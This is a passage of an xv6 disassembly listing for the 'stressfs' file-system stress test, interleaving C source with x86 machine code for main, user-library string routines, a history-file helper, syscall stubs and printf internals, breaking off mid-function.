#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 81 ec 24 02 00 00 sub $0x224,%esp
int fd, i;
char path[] = "stressfs0";
14: c7 45 e6 73 74 72 65 movl $0x65727473,-0x1a(%ebp)
1b: c7 45 ea 73 73 66 73 movl $0x73667373,-0x16(%ebp)
22: 66 c7 45 ee 30 00 movw $0x30,-0x12(%ebp)
char data[512];
printf(1, "stressfs starting\n");
28: 83 ec 08 sub $0x8,%esp
2b: 68 70 0a 00 00 push $0xa70
30: 6a 01 push $0x1
32: e8 83 06 00 00 call 6ba <printf>
37: 83 c4 10 add $0x10,%esp
memset(data, 'a', sizeof(data));
3a: 83 ec 04 sub $0x4,%esp
3d: 68 00 02 00 00 push $0x200
42: 6a 61 push $0x61
44: 8d 85 e6 fd ff ff lea -0x21a(%ebp),%eax
4a: 50 push %eax
4b: e8 be 01 00 00 call 20e <memset>
50: 83 c4 10 add $0x10,%esp
for(i = 0; i < 4; i++)
53: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
5a: eb 0d jmp 69 <main+0x69>
if(fork() > 0)
5c: e8 da 04 00 00 call 53b <fork>
61: 85 c0 test %eax,%eax
63: 7f 0c jg 71 <main+0x71>
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
for(i = 0; i < 4; i++)
65: 83 45 f4 01 addl $0x1,-0xc(%ebp)
69: 83 7d f4 03 cmpl $0x3,-0xc(%ebp)
6d: 7e ed jle 5c <main+0x5c>
6f: eb 01 jmp 72 <main+0x72>
if(fork() > 0)
break;
71: 90 nop
printf(1, "write %d\n", i);
72: 83 ec 04 sub $0x4,%esp
75: ff 75 f4 pushl -0xc(%ebp)
78: 68 83 0a 00 00 push $0xa83
7d: 6a 01 push $0x1
7f: e8 36 06 00 00 call 6ba <printf>
84: 83 c4 10 add $0x10,%esp
path[8] += i;
87: 0f b6 45 ee movzbl -0x12(%ebp),%eax
8b: 89 c2 mov %eax,%edx
8d: 8b 45 f4 mov -0xc(%ebp),%eax
90: 01 d0 add %edx,%eax
92: 88 45 ee mov %al,-0x12(%ebp)
fd = open(path, O_CREATE | O_RDWR);
95: 83 ec 08 sub $0x8,%esp
98: 68 02 02 00 00 push $0x202
9d: 8d 45 e6 lea -0x1a(%ebp),%eax
a0: 50 push %eax
a1: e8 dd 04 00 00 call 583 <open>
a6: 83 c4 10 add $0x10,%esp
a9: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; i < 20; i++)
ac: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
b3: eb 1e jmp d3 <main+0xd3>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b5: 83 ec 04 sub $0x4,%esp
b8: 68 00 02 00 00 push $0x200
bd: 8d 85 e6 fd ff ff lea -0x21a(%ebp),%eax
c3: 50 push %eax
c4: ff 75 f0 pushl -0x10(%ebp)
c7: e8 97 04 00 00 call 563 <write>
cc: 83 c4 10 add $0x10,%esp
printf(1, "write %d\n", i);
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
for(i = 0; i < 20; i++)
cf: 83 45 f4 01 addl $0x1,-0xc(%ebp)
d3: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
d7: 7e dc jle b5 <main+0xb5>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
close(fd);
d9: 83 ec 0c sub $0xc,%esp
dc: ff 75 f0 pushl -0x10(%ebp)
df: e8 87 04 00 00 call 56b <close>
e4: 83 c4 10 add $0x10,%esp
printf(1, "read\n");
e7: 83 ec 08 sub $0x8,%esp
ea: 68 8d 0a 00 00 push $0xa8d
ef: 6a 01 push $0x1
f1: e8 c4 05 00 00 call 6ba <printf>
f6: 83 c4 10 add $0x10,%esp
fd = open(path, O_RDONLY);
f9: 83 ec 08 sub $0x8,%esp
fc: 6a 00 push $0x0
fe: 8d 45 e6 lea -0x1a(%ebp),%eax
101: 50 push %eax
102: e8 7c 04 00 00 call 583 <open>
107: 83 c4 10 add $0x10,%esp
10a: 89 45 f0 mov %eax,-0x10(%ebp)
for (i = 0; i < 20; i++)
10d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
114: eb 1e jmp 134 <main+0x134>
read(fd, data, sizeof(data));
116: 83 ec 04 sub $0x4,%esp
119: 68 00 02 00 00 push $0x200
11e: 8d 85 e6 fd ff ff lea -0x21a(%ebp),%eax
124: 50 push %eax
125: ff 75 f0 pushl -0x10(%ebp)
128: e8 2e 04 00 00 call 55b <read>
12d: 83 c4 10 add $0x10,%esp
close(fd);
printf(1, "read\n");
fd = open(path, O_RDONLY);
for (i = 0; i < 20; i++)
130: 83 45 f4 01 addl $0x1,-0xc(%ebp)
134: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
138: 7e dc jle 116 <main+0x116>
read(fd, data, sizeof(data));
close(fd);
13a: 83 ec 0c sub $0xc,%esp
13d: ff 75 f0 pushl -0x10(%ebp)
140: e8 26 04 00 00 call 56b <close>
145: 83 c4 10 add $0x10,%esp
wait();
148: e8 fe 03 00 00 call 54b <wait>
exit();
14d: e8 f1 03 00 00 call 543 <exit>
00000152 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
152: 55 push %ebp
153: 89 e5 mov %esp,%ebp
155: 57 push %edi
156: 53 push %ebx
asm volatile("cld; rep stosb" :
157: 8b 4d 08 mov 0x8(%ebp),%ecx
15a: 8b 55 10 mov 0x10(%ebp),%edx
15d: 8b 45 0c mov 0xc(%ebp),%eax
160: 89 cb mov %ecx,%ebx
162: 89 df mov %ebx,%edi
164: 89 d1 mov %edx,%ecx
166: fc cld
167: f3 aa rep stos %al,%es:(%edi)
169: 89 ca mov %ecx,%edx
16b: 89 fb mov %edi,%ebx
16d: 89 5d 08 mov %ebx,0x8(%ebp)
170: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
173: 90 nop
174: 5b pop %ebx
175: 5f pop %edi
176: 5d pop %ebp
177: c3 ret
00000178 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
178: 55 push %ebp
179: 89 e5 mov %esp,%ebp
17b: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
17e: 8b 45 08 mov 0x8(%ebp),%eax
181: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
184: 90 nop
185: 8b 45 08 mov 0x8(%ebp),%eax
188: 8d 50 01 lea 0x1(%eax),%edx
18b: 89 55 08 mov %edx,0x8(%ebp)
18e: 8b 55 0c mov 0xc(%ebp),%edx
191: 8d 4a 01 lea 0x1(%edx),%ecx
194: 89 4d 0c mov %ecx,0xc(%ebp)
197: 0f b6 12 movzbl (%edx),%edx
19a: 88 10 mov %dl,(%eax)
19c: 0f b6 00 movzbl (%eax),%eax
19f: 84 c0 test %al,%al
1a1: 75 e2 jne 185 <strcpy+0xd>
;
return os;
1a3: 8b 45 fc mov -0x4(%ebp),%eax
}
1a6: c9 leave
1a7: c3 ret
000001a8 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1a8: 55 push %ebp
1a9: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
1ab: eb 08 jmp 1b5 <strcmp+0xd>
p++, q++;
1ad: 83 45 08 01 addl $0x1,0x8(%ebp)
1b1: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1b5: 8b 45 08 mov 0x8(%ebp),%eax
1b8: 0f b6 00 movzbl (%eax),%eax
1bb: 84 c0 test %al,%al
1bd: 74 10 je 1cf <strcmp+0x27>
1bf: 8b 45 08 mov 0x8(%ebp),%eax
1c2: 0f b6 10 movzbl (%eax),%edx
1c5: 8b 45 0c mov 0xc(%ebp),%eax
1c8: 0f b6 00 movzbl (%eax),%eax
1cb: 38 c2 cmp %al,%dl
1cd: 74 de je 1ad <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1cf: 8b 45 08 mov 0x8(%ebp),%eax
1d2: 0f b6 00 movzbl (%eax),%eax
1d5: 0f b6 d0 movzbl %al,%edx
1d8: 8b 45 0c mov 0xc(%ebp),%eax
1db: 0f b6 00 movzbl (%eax),%eax
1de: 0f b6 c0 movzbl %al,%eax
1e1: 29 c2 sub %eax,%edx
1e3: 89 d0 mov %edx,%eax
}
1e5: 5d pop %ebp
1e6: c3 ret
000001e7 <strlen>:
uint
strlen(char *s)
{
1e7: 55 push %ebp
1e8: 89 e5 mov %esp,%ebp
1ea: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1ed: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1f4: eb 04 jmp 1fa <strlen+0x13>
1f6: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1fa: 8b 55 fc mov -0x4(%ebp),%edx
1fd: 8b 45 08 mov 0x8(%ebp),%eax
200: 01 d0 add %edx,%eax
202: 0f b6 00 movzbl (%eax),%eax
205: 84 c0 test %al,%al
207: 75 ed jne 1f6 <strlen+0xf>
;
return n;
209: 8b 45 fc mov -0x4(%ebp),%eax
}
20c: c9 leave
20d: c3 ret
0000020e <memset>:
void*
memset(void *dst, int c, uint n)
{
20e: 55 push %ebp
20f: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
211: 8b 45 10 mov 0x10(%ebp),%eax
214: 50 push %eax
215: ff 75 0c pushl 0xc(%ebp)
218: ff 75 08 pushl 0x8(%ebp)
21b: e8 32 ff ff ff call 152 <stosb>
220: 83 c4 0c add $0xc,%esp
return dst;
223: 8b 45 08 mov 0x8(%ebp),%eax
}
226: c9 leave
227: c3 ret
00000228 <strchr>:
char*
strchr(const char *s, char c)
{
228: 55 push %ebp
229: 89 e5 mov %esp,%ebp
22b: 83 ec 04 sub $0x4,%esp
22e: 8b 45 0c mov 0xc(%ebp),%eax
231: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
234: eb 14 jmp 24a <strchr+0x22>
if(*s == c)
236: 8b 45 08 mov 0x8(%ebp),%eax
239: 0f b6 00 movzbl (%eax),%eax
23c: 3a 45 fc cmp -0x4(%ebp),%al
23f: 75 05 jne 246 <strchr+0x1e>
return (char*)s;
241: 8b 45 08 mov 0x8(%ebp),%eax
244: eb 13 jmp 259 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
246: 83 45 08 01 addl $0x1,0x8(%ebp)
24a: 8b 45 08 mov 0x8(%ebp),%eax
24d: 0f b6 00 movzbl (%eax),%eax
250: 84 c0 test %al,%al
252: 75 e2 jne 236 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
254: b8 00 00 00 00 mov $0x0,%eax
}
259: c9 leave
25a: c3 ret
0000025b <gets>:
char*
gets(char *buf, int max)
{
25b: 55 push %ebp
25c: 89 e5 mov %esp,%ebp
25e: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
261: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
268: eb 42 jmp 2ac <gets+0x51>
cc = read(0, &c, 1);
26a: 83 ec 04 sub $0x4,%esp
26d: 6a 01 push $0x1
26f: 8d 45 ef lea -0x11(%ebp),%eax
272: 50 push %eax
273: 6a 00 push $0x0
275: e8 e1 02 00 00 call 55b <read>
27a: 83 c4 10 add $0x10,%esp
27d: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
280: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
284: 7e 33 jle 2b9 <gets+0x5e>
break;
buf[i++] = c;
286: 8b 45 f4 mov -0xc(%ebp),%eax
289: 8d 50 01 lea 0x1(%eax),%edx
28c: 89 55 f4 mov %edx,-0xc(%ebp)
28f: 89 c2 mov %eax,%edx
291: 8b 45 08 mov 0x8(%ebp),%eax
294: 01 c2 add %eax,%edx
296: 0f b6 45 ef movzbl -0x11(%ebp),%eax
29a: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
29c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
2a0: 3c 0a cmp $0xa,%al
2a2: 74 16 je 2ba <gets+0x5f>
2a4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
2a8: 3c 0d cmp $0xd,%al
2aa: 74 0e je 2ba <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
2ac: 8b 45 f4 mov -0xc(%ebp),%eax
2af: 83 c0 01 add $0x1,%eax
2b2: 3b 45 0c cmp 0xc(%ebp),%eax
2b5: 7c b3 jl 26a <gets+0xf>
2b7: eb 01 jmp 2ba <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
2b9: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2ba: 8b 55 f4 mov -0xc(%ebp),%edx
2bd: 8b 45 08 mov 0x8(%ebp),%eax
2c0: 01 d0 add %edx,%eax
2c2: c6 00 00 movb $0x0,(%eax)
return buf;
2c5: 8b 45 08 mov 0x8(%ebp),%eax
}
2c8: c9 leave
2c9: c3 ret
000002ca <stat>:
int
stat(char *n, struct stat *st)
{
2ca: 55 push %ebp
2cb: 89 e5 mov %esp,%ebp
2cd: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
2d0: 83 ec 08 sub $0x8,%esp
2d3: 6a 00 push $0x0
2d5: ff 75 08 pushl 0x8(%ebp)
2d8: e8 a6 02 00 00 call 583 <open>
2dd: 83 c4 10 add $0x10,%esp
2e0: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2e3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2e7: 79 07 jns 2f0 <stat+0x26>
return -1;
2e9: b8 ff ff ff ff mov $0xffffffff,%eax
2ee: eb 25 jmp 315 <stat+0x4b>
r = fstat(fd, st);
2f0: 83 ec 08 sub $0x8,%esp
2f3: ff 75 0c pushl 0xc(%ebp)
2f6: ff 75 f4 pushl -0xc(%ebp)
2f9: e8 9d 02 00 00 call 59b <fstat>
2fe: 83 c4 10 add $0x10,%esp
301: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
304: 83 ec 0c sub $0xc,%esp
307: ff 75 f4 pushl -0xc(%ebp)
30a: e8 5c 02 00 00 call 56b <close>
30f: 83 c4 10 add $0x10,%esp
return r;
312: 8b 45 f0 mov -0x10(%ebp),%eax
}
315: c9 leave
316: c3 ret
00000317 <atoi>:
int
atoi(const char *s)
{
317: 55 push %ebp
318: 89 e5 mov %esp,%ebp
31a: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
31d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
324: eb 25 jmp 34b <atoi+0x34>
n = n*10 + *s++ - '0';
326: 8b 55 fc mov -0x4(%ebp),%edx
329: 89 d0 mov %edx,%eax
32b: c1 e0 02 shl $0x2,%eax
32e: 01 d0 add %edx,%eax
330: 01 c0 add %eax,%eax
332: 89 c1 mov %eax,%ecx
334: 8b 45 08 mov 0x8(%ebp),%eax
337: 8d 50 01 lea 0x1(%eax),%edx
33a: 89 55 08 mov %edx,0x8(%ebp)
33d: 0f b6 00 movzbl (%eax),%eax
340: 0f be c0 movsbl %al,%eax
343: 01 c8 add %ecx,%eax
345: 83 e8 30 sub $0x30,%eax
348: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
34b: 8b 45 08 mov 0x8(%ebp),%eax
34e: 0f b6 00 movzbl (%eax),%eax
351: 3c 2f cmp $0x2f,%al
353: 7e 0a jle 35f <atoi+0x48>
355: 8b 45 08 mov 0x8(%ebp),%eax
358: 0f b6 00 movzbl (%eax),%eax
35b: 3c 39 cmp $0x39,%al
35d: 7e c7 jle 326 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
35f: 8b 45 fc mov -0x4(%ebp),%eax
}
362: c9 leave
363: c3 ret
00000364 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
364: 55 push %ebp
365: 89 e5 mov %esp,%ebp
367: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
36a: 8b 45 08 mov 0x8(%ebp),%eax
36d: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
370: 8b 45 0c mov 0xc(%ebp),%eax
373: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
376: eb 17 jmp 38f <memmove+0x2b>
*dst++ = *src++;
378: 8b 45 fc mov -0x4(%ebp),%eax
37b: 8d 50 01 lea 0x1(%eax),%edx
37e: 89 55 fc mov %edx,-0x4(%ebp)
381: 8b 55 f8 mov -0x8(%ebp),%edx
384: 8d 4a 01 lea 0x1(%edx),%ecx
387: 89 4d f8 mov %ecx,-0x8(%ebp)
38a: 0f b6 12 movzbl (%edx),%edx
38d: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
38f: 8b 45 10 mov 0x10(%ebp),%eax
392: 8d 50 ff lea -0x1(%eax),%edx
395: 89 55 10 mov %edx,0x10(%ebp)
398: 85 c0 test %eax,%eax
39a: 7f dc jg 378 <memmove+0x14>
*dst++ = *src++;
return vdst;
39c: 8b 45 08 mov 0x8(%ebp),%eax
}
39f: c9 leave
3a0: c3 ret
000003a1 <historyAdd>:
void
historyAdd(char *buf1){
3a1: 55 push %ebp
3a2: 89 e5 mov %esp,%ebp
3a4: 53 push %ebx
3a5: 81 ec f4 07 00 00 sub $0x7f4,%esp
int fd;
char hist[10]={'h','\0'};
3ab: c7 45 e6 00 00 00 00 movl $0x0,-0x1a(%ebp)
3b2: c7 45 ea 00 00 00 00 movl $0x0,-0x16(%ebp)
3b9: 66 c7 45 ee 00 00 movw $0x0,-0x12(%ebp)
3bf: c6 45 e6 68 movb $0x68,-0x1a(%ebp)
//printf(1,"here\n");
char buf[1000],buf2[1000];
if((fd = open(hist, 0)) < 0){
3c3: 83 ec 08 sub $0x8,%esp
3c6: 6a 00 push $0x0
3c8: 8d 45 e6 lea -0x1a(%ebp),%eax
3cb: 50 push %eax
3cc: e8 b2 01 00 00 call 583 <open>
3d1: 83 c4 10 add $0x10,%esp
3d4: 89 45 f0 mov %eax,-0x10(%ebp)
3d7: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3db: 79 1b jns 3f8 <historyAdd+0x57>
printf(1, "History: cannot open %s\n", hist);
3dd: 83 ec 04 sub $0x4,%esp
3e0: 8d 45 e6 lea -0x1a(%ebp),%eax
3e3: 50 push %eax
3e4: 68 94 0a 00 00 push $0xa94
3e9: 6a 01 push $0x1
3eb: e8 ca 02 00 00 call 6ba <printf>
3f0: 83 c4 10 add $0x10,%esp
exit();
3f3: e8 4b 01 00 00 call 543 <exit>
}
int i=0;
3f8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while(buf1[i]!=0)
3ff: eb 1c jmp 41d <historyAdd+0x7c>
{ //printf(1,"%d has %d\n",i,buf1[i]);
buf[i]=buf1[i];
401: 8b 55 f4 mov -0xc(%ebp),%edx
404: 8b 45 08 mov 0x8(%ebp),%eax
407: 01 d0 add %edx,%eax
409: 0f b6 00 movzbl (%eax),%eax
40c: 8d 8d fe fb ff ff lea -0x402(%ebp),%ecx
412: 8b 55 f4 mov -0xc(%ebp),%edx
415: 01 ca add %ecx,%edx
417: 88 02 mov %al,(%edx)
i++;
419: 83 45 f4 01 addl $0x1,-0xc(%ebp)
printf(1, "History: cannot open %s\n", hist);
exit();
}
int i=0;
while(buf1[i]!=0)
41d: 8b 55 f4 mov -0xc(%ebp),%edx
420: 8b 45 08 mov 0x8(%ebp),%eax
423: 01 d0 add %edx,%eax
425: 0f b6 00 movzbl (%eax),%eax
428: 84 c0 test %al,%al
42a: 75 d5 jne 401 <historyAdd+0x60>
{ //printf(1,"%d has %d\n",i,buf1[i]);
buf[i]=buf1[i];
i++;
}
buf[i]=0;
42c: 8d 95 fe fb ff ff lea -0x402(%ebp),%edx
432: 8b 45 f4 mov -0xc(%ebp),%eax
435: 01 d0 add %edx,%eax
437: c6 00 00 movb $0x0,(%eax)
// int n;
while((read(fd, buf2, 1000)) > 0){
43a: eb 5a jmp 496 <historyAdd+0xf5>
//printf(1,"%d %d\n",strlen(buf),strlen(buf2));
while(i<strlen(buf2)+strlen(buf1)){
//printf(1,"%c\n",buf2[i]);
buf[i]=buf2[i-strlen(buf1)];
43c: 8b 5d f4 mov -0xc(%ebp),%ebx
43f: 83 ec 0c sub $0xc,%esp
442: ff 75 08 pushl 0x8(%ebp)
445: e8 9d fd ff ff call 1e7 <strlen>
44a: 83 c4 10 add $0x10,%esp
44d: 29 c3 sub %eax,%ebx
44f: 89 d8 mov %ebx,%eax
451: 0f b6 84 05 16 f8 ff movzbl -0x7ea(%ebp,%eax,1),%eax
458: ff
459: 8d 8d fe fb ff ff lea -0x402(%ebp),%ecx
45f: 8b 55 f4 mov -0xc(%ebp),%edx
462: 01 ca add %ecx,%edx
464: 88 02 mov %al,(%edx)
i++;
466: 83 45 f4 01 addl $0x1,-0xc(%ebp)
//buf[1001]=0;
//int i=0;
//printf(1,"%d %d\n",strlen(buf),strlen(buf2));
while(i<strlen(buf2)+strlen(buf1)){
46a: 83 ec 0c sub $0xc,%esp
46d: 8d 85 16 f8 ff ff lea -0x7ea(%ebp),%eax
473: 50 push %eax
474: e8 6e fd ff ff call 1e7 <strlen>
479: 83 c4 10 add $0x10,%esp
47c: 89 c3 mov %eax,%ebx
47e: 83 ec 0c sub $0xc,%esp
481: ff 75 08 pushl 0x8(%ebp)
484: e8 5e fd ff ff call 1e7 <strlen>
489: 83 c4 10 add $0x10,%esp
48c: 8d 14 03 lea (%ebx,%eax,1),%edx
48f: 8b 45 f4 mov -0xc(%ebp),%eax
492: 39 c2 cmp %eax,%edx
494: 77 a6 ja 43c <historyAdd+0x9b>
buf[i]=buf1[i];
i++;
}
buf[i]=0;
// int n;
while((read(fd, buf2, 1000)) > 0){
496: 83 ec 04 sub $0x4,%esp
499: 68 e8 03 00 00 push $0x3e8
49e: 8d 85 16 f8 ff ff lea -0x7ea(%ebp),%eax
4a4: 50 push %eax
4a5: ff 75 f0 pushl -0x10(%ebp)
4a8: e8 ae 00 00 00 call 55b <read>
4ad: 83 c4 10 add $0x10,%esp
4b0: 85 c0 test %eax,%eax
4b2: 7f b6 jg 46a <historyAdd+0xc9>
}
//printf(1,"strlen: %d %s\n",strlen(buf),buf);
}
//history(fd);
close(fd);
4b4: 83 ec 0c sub $0xc,%esp
4b7: ff 75 f0 pushl -0x10(%ebp)
4ba: e8 ac 00 00 00 call 56b <close>
4bf: 83 c4 10 add $0x10,%esp
if((fd = open(hist,O_CREATE|O_RDWR)) < 0){
4c2: 83 ec 08 sub $0x8,%esp
4c5: 68 02 02 00 00 push $0x202
4ca: 8d 45 e6 lea -0x1a(%ebp),%eax
4cd: 50 push %eax
4ce: e8 b0 00 00 00 call 583 <open>
4d3: 83 c4 10 add $0x10,%esp
4d6: 89 45 f0 mov %eax,-0x10(%ebp)
4d9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4dd: 79 1b jns 4fa <historyAdd+0x159>
printf(1, "History: cannot open %s\n", hist);
4df: 83 ec 04 sub $0x4,%esp
4e2: 8d 45 e6 lea -0x1a(%ebp),%eax
4e5: 50 push %eax
4e6: 68 94 0a 00 00 push $0xa94
4eb: 6a 01 push $0x1
4ed: e8 c8 01 00 00 call 6ba <printf>
4f2: 83 c4 10 add $0x10,%esp
exit();
4f5: e8 49 00 00 00 call 543 <exit>
}
if(write(fd, buf, 1000) != 1000){
4fa: 83 ec 04 sub $0x4,%esp
4fd: 68 e8 03 00 00 push $0x3e8
502: 8d 85 fe fb ff ff lea -0x402(%ebp),%eax
508: 50 push %eax
509: ff 75 f0 pushl -0x10(%ebp)
50c: e8 52 00 00 00 call 563 <write>
511: 83 c4 10 add $0x10,%esp
514: 3d e8 03 00 00 cmp $0x3e8,%eax
519: 74 1a je 535 <historyAdd+0x194>
printf(1, "error: write aa %d new file failed\n", i);
51b: 83 ec 04 sub $0x4,%esp
51e: ff 75 f4 pushl -0xc(%ebp)
521: 68 b0 0a 00 00 push $0xab0
526: 6a 01 push $0x1
528: e8 8d 01 00 00 call 6ba <printf>
52d: 83 c4 10 add $0x10,%esp
exit();
530: e8 0e 00 00 00 call 543 <exit>
}
}
535: 90 nop
536: 8b 5d fc mov -0x4(%ebp),%ebx
539: c9 leave
53a: c3 ret
0000053b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
53b: b8 01 00 00 00 mov $0x1,%eax
540: cd 40 int $0x40
542: c3 ret
00000543 <exit>:
SYSCALL(exit)
543: b8 02 00 00 00 mov $0x2,%eax
548: cd 40 int $0x40
54a: c3 ret
0000054b <wait>:
SYSCALL(wait)
54b: b8 03 00 00 00 mov $0x3,%eax
550: cd 40 int $0x40
552: c3 ret
00000553 <pipe>:
SYSCALL(pipe)
553: b8 04 00 00 00 mov $0x4,%eax
558: cd 40 int $0x40
55a: c3 ret
0000055b <read>:
SYSCALL(read)
55b: b8 05 00 00 00 mov $0x5,%eax
560: cd 40 int $0x40
562: c3 ret
00000563 <write>:
SYSCALL(write)
563: b8 10 00 00 00 mov $0x10,%eax
568: cd 40 int $0x40
56a: c3 ret
0000056b <close>:
SYSCALL(close)
56b: b8 15 00 00 00 mov $0x15,%eax
570: cd 40 int $0x40
572: c3 ret
00000573 <kill>:
SYSCALL(kill)
573: b8 06 00 00 00 mov $0x6,%eax
578: cd 40 int $0x40
57a: c3 ret
0000057b <exec>:
SYSCALL(exec)
57b: b8 07 00 00 00 mov $0x7,%eax
580: cd 40 int $0x40
582: c3 ret
00000583 <open>:
SYSCALL(open)
583: b8 0f 00 00 00 mov $0xf,%eax
588: cd 40 int $0x40
58a: c3 ret
0000058b <mknod>:
SYSCALL(mknod)
58b: b8 11 00 00 00 mov $0x11,%eax
590: cd 40 int $0x40
592: c3 ret
00000593 <unlink>:
SYSCALL(unlink)
593: b8 12 00 00 00 mov $0x12,%eax
598: cd 40 int $0x40
59a: c3 ret
0000059b <fstat>:
SYSCALL(fstat)
59b: b8 08 00 00 00 mov $0x8,%eax
5a0: cd 40 int $0x40
5a2: c3 ret
000005a3 <link>:
SYSCALL(link)
5a3: b8 13 00 00 00 mov $0x13,%eax
5a8: cd 40 int $0x40
5aa: c3 ret
000005ab <mkdir>:
SYSCALL(mkdir)
5ab: b8 14 00 00 00 mov $0x14,%eax
5b0: cd 40 int $0x40
5b2: c3 ret
000005b3 <chdir>:
SYSCALL(chdir)
5b3: b8 09 00 00 00 mov $0x9,%eax
5b8: cd 40 int $0x40
5ba: c3 ret
000005bb <dup>:
SYSCALL(dup)
5bb: b8 0a 00 00 00 mov $0xa,%eax
5c0: cd 40 int $0x40
5c2: c3 ret
000005c3 <getpid>:
SYSCALL(getpid)
5c3: b8 0b 00 00 00 mov $0xb,%eax
5c8: cd 40 int $0x40
5ca: c3 ret
000005cb <sbrk>:
SYSCALL(sbrk)
5cb: b8 0c 00 00 00 mov $0xc,%eax
5d0: cd 40 int $0x40
5d2: c3 ret
000005d3 <sleep>:
SYSCALL(sleep)
5d3: b8 0d 00 00 00 mov $0xd,%eax
5d8: cd 40 int $0x40
5da: c3 ret
000005db <uptime>:
SYSCALL(uptime)
5db: b8 0e 00 00 00 mov $0xe,%eax
5e0: cd 40 int $0x40
5e2: c3 ret
000005e3 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
5e3: 55 push %ebp
5e4: 89 e5 mov %esp,%ebp
5e6: 83 ec 18 sub $0x18,%esp
5e9: 8b 45 0c mov 0xc(%ebp),%eax
5ec: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
5ef: 83 ec 04 sub $0x4,%esp
5f2: 6a 01 push $0x1
5f4: 8d 45 f4 lea -0xc(%ebp),%eax
5f7: 50 push %eax
5f8: ff 75 08 pushl 0x8(%ebp)
5fb: e8 63 ff ff ff call 563 <write>
600: 83 c4 10 add $0x10,%esp
}
603: 90 nop
604: c9 leave
605: c3 ret
00000606 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
606: 55 push %ebp
607: 89 e5 mov %esp,%ebp
609: 53 push %ebx
60a: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
60d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
614: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
618: 74 17 je 631 <printint+0x2b>
61a: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
61e: 79 11 jns 631 <printint+0x2b>
neg = 1;
620: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
627: 8b 45 0c mov 0xc(%ebp),%eax
62a: f7 d8 neg %eax
62c: 89 45 ec mov %eax,-0x14(%ebp)
62f: eb 06 jmp 637 <printint+0x31>
} else {
x = xx;
631: 8b 45 0c mov 0xc(%ebp),%eax
634: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
637: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
63e: 8b 4d f4 mov -0xc(%ebp),%ecx
641: 8d 41 01 lea 0x1(%ecx),%eax
